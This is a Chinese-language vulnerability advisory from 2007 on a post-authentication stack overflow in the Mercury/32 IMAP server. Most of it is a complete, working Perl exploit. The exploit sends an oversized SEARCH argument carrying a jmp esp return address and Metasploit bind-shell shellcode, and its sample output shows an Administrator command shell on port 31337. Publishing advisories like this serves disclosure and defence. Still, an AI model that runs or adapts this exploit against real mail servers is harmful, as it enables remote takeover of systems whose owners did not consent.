Mercury Mail Transport System 远程栈溢出漏洞

出处：绿盟科技作者：绿盟科技时间：2007-9-24 0:14:07

发布日期：2007-09-20
更新日期：2007-09-20

受影响系统：

Pegasus Mail Mercury Mail Transport System <= 4.52

描述：

Mercury Mail Transport System是一款综合的Internet邮件服务器系统。

Mercury Mail Transport System的Mercury/32 IMAP服务器模块处理带有超长参数时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制服务器。

攻击者必须以合法的帐号登录到系统以后才能利用此漏洞。

<*来源：void@ph4nt0m.org
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

void@ph4nt0m.org 提供了如下测试代码：

# Z:\Exp>mercury_SEARCH.pl 127.0.0.1 143 void ph4nt0m.org
#    Mercury/32 v4.52 IMAPD SEARCH command Post-Auth Stack Overflow Exploit
#                                          Found & Code by void# ph4nt0m.org
#
# S: * OK mercury.ph4nt0m.org IMAP4rev1 Mercury/32 v4.52 server ready.
# C: pst06 LOGIN void ph4nt0m.org
# S: pst06 OK LOGIN completed.
# C: pst06 SELECT INBOX
# S: * 0 EXISTS
# S: * 0 RECENT
# S: * FLAGS (\Deleted \Draft \Seen \Answered)
# S: * OK [UIDVALIDITY 1190225819] UID Validity
# S: * OK [UIDNEXT 1] Predicted next UID
# S: * OK [PERMANENTFLAGS (\Deleted \Draft \Seen \Answered)] Settable message flag
# s
# S: pst06 OK [READ-WRITE] SELECT completed.
# [*] Send Evil Payload ...
# [+] Done! Check out cmdshell@127.0.0.1:31337. Good Luck  :-P
#
# Z:\Exp>nc -vv 127.0.0.1 31337
# DNS fwd/rev mismatch: localhost != GNU
# localhost [127.0.0.1] 31337 (?) open
# Microsoft Windows XP [°æ±¾ 5.1.2600]
# (C) °æÈ¨ËùÓÐ 1985-2001 Microsoft Corp.
#
# e:\MERCURY>whoami
# whoami
# Administrator
#
# e:\MERCURY>

use strict;
use warnings;
use IO::Socket;

# Target IP
my $imap_host = shift || 127.0.0.1;
my $imap_port = shift || 143;
my $imap_user = shift || "void";
my $imap_pass = shift || "ph4nt0m.org";

my $banner =
"   Mercury/32 v4.52 IMAPD SEARCH command Post-Auth Stack Overflow Exploit\n".
"                                         Found & Code by void#ph4nt0m.org\n".
"\n";

my $cheers = "Celebrate_the_6th_anniversary_of_the_founding_of_Ph4nt0m.org";
my $jmpesp = "\x12\x45\xfa\x7f"; # Windows 2000/xp/2003 CHS Universe

# /* win32_bind -  EXITFUNC=thread LPORT=31337 Size=347 Encoder=Pex http://metasploit.com */
# bad char: 0x00 0x0A 0x0D 0x20 0x29
my $shellcode =
"\x31\xc9\x81\xe9\xb0\xff\xff\xff\xe8\xff\xff\xff\xff\xc0\x5e\x81".
"\x76\x0e\xfa\xd1\xa5\x6f\x83\xee\xfc\xe2\xf4\x06\xbb\x4e\x22\x12".
"\x28\x5a\x90\x05\xb1\x2e\x03\xde\xf5\x2e\x2a\xc6\x5a\xd9\x6a\x82".
"\xd0\x4a\xe4\xb5\xc9\x2e\x30\xda\xd0\x4e\x26\x71\xe5\x2e\x6e\x14".
"\xe0\x65\xf6\x56\x55\x65\x1b\xfd\x10\x6f\x62\xfb\x13\x4e\x9b\xc1".
"\x85\x81\x47\x8f\x34\x2e\x30\xde\xd0\x4e\x09\x71\xdd\xee\xe4\xa5".
"\xcd\xa4\x84\xf9\xfd\x2e\xe6\x96\xf5\xb9\x0e\x39\xe0\x7e\x0b\x71".
"\x92\x95\xe4\xba\xdd\x2e\x1f\xe6\x7c\x2e\x2f\xf2\x8f\xcd\xe1\xb4".
"\xdf\x49\x3f\x05\x07\xc3\x3c\x9c\xb9\x96\x5d\x92\xa6\xd6\x5d\xa5".
"\x85\x5a\xbf\x92\x1a\x48\x93\xc1\x81\x5a\xb9\xa5\x58\x40\x09\x7b".
"\x3c\xad\x6d\xaf\xbb\xa7\x90\x2a\xb9\x7c\x66\x0f\x7c\xf2\x90\x2c".
"\x82\xf6\x3c\xa9\x82\xe6\x3c\xb9\x82\x5a\xbf\x9c\xb9\xdf\x06\x9c".
"\x82\x2c\x8e\x6f\xb9\x01\x75\x8a\x16\xf2\x90\x2c\xbb\xb5\x3e\xaf".
"\x2e\x75\x07\x5e\x7c\x8b\x86\xad\x2e\x73\x3c\xaf\x2e\x75\x07\x1f".
"\x98\x23\x26\xad\x2e\x73\x3f\xae\x85\xf0\x90\x2a\x42\xcd\x88\x83".
"\x17\xdc\x38\x05\x07\xf0\x90\x2a\xb7\xcf\x0b\x9c\xb9\xc6\x02\x73".
"\x34\xcf\x3f\xa3\xf8\x69\xe6\x1d\xbb\xe1\xe6\x18\xe0\x65\x9c\x50".
"\x2f\xe7\x42\x04\x93\x89\xfc\x77\xab\x9d\xc4\x51\x7a\xcd\x1d\x04".
"\x62\xb3\x90\x8f\x95\x5a\xb9\xa1\x86\xf7\x3e\xab\x80\xcf\x6e\xab".
"\x80\xf0\x3e\x05\x01\xcd\xc2\x23\xd4\x6b\x3c\x05\x07\xcf\x90\x05".
"\xe6\x5a\xbf\x71\x86\x59\xec\x3e\xb5\x5a\xb9\xa8\x2e\x75\x07\x15".
"\x1f\x45\x0f\xa9\x2e\x73\x90\x2a\xd1\xa5\x6f";

print $banner;
sleep(1);

my $sock = IO::Socket::INET->new( PeerHost=>$imap_host, PeerPort=>$imap_port, proto=>"tcp" ) or die "Connect error.\n";
imap_recv("");

imap_send("pst06 LOGIN $imap_user $imap_pass\r\n", "rv");
imap_send("pst06 SELECT INBOX\r\n", "rv");

my $payload = $cheers.$jmpesp.$shellcode;
print "[*] Send Evil Payload ...\n";
imap_send("pst06 SEARCH ON $payload\r\n", "");
sleep(1);
print "[+] Done! Check out cmdshell\@$imap_host:31337. Good Luck :-P\n";
$sock->close();

sub imap_send
{
    if($_[1] =~ /v/)
    {
        if(length($_[0])<=75)
        {
            print "C: ".$_[0];
        }
        else
        {
            print "C: ".substr($_[0], 0, 36)." ... ".substr($_[0], -36, -1)."\n";
        }
    }

    print $sock $_[0];

    if($_[1] =~ /r/)
    {
        imap_recv(substr($_[0], 0, index($_[0], " ")+1));
    }
}

sub imap_recv
{
    while(<$sock>)
    {
        print "S: ".$_;
        if($_ =~ /$_[0]OK/)
        {    last;    }
        elsif($_ =~ /$_[0]NO|$_[0]BAD/ )
        {    last;    }
        else
        {    next;    }
    }
}

建议：

厂商补丁：

Pegasus Mail
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.pmail.com/

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Mercury Mail Transport System 远程栈溢出漏洞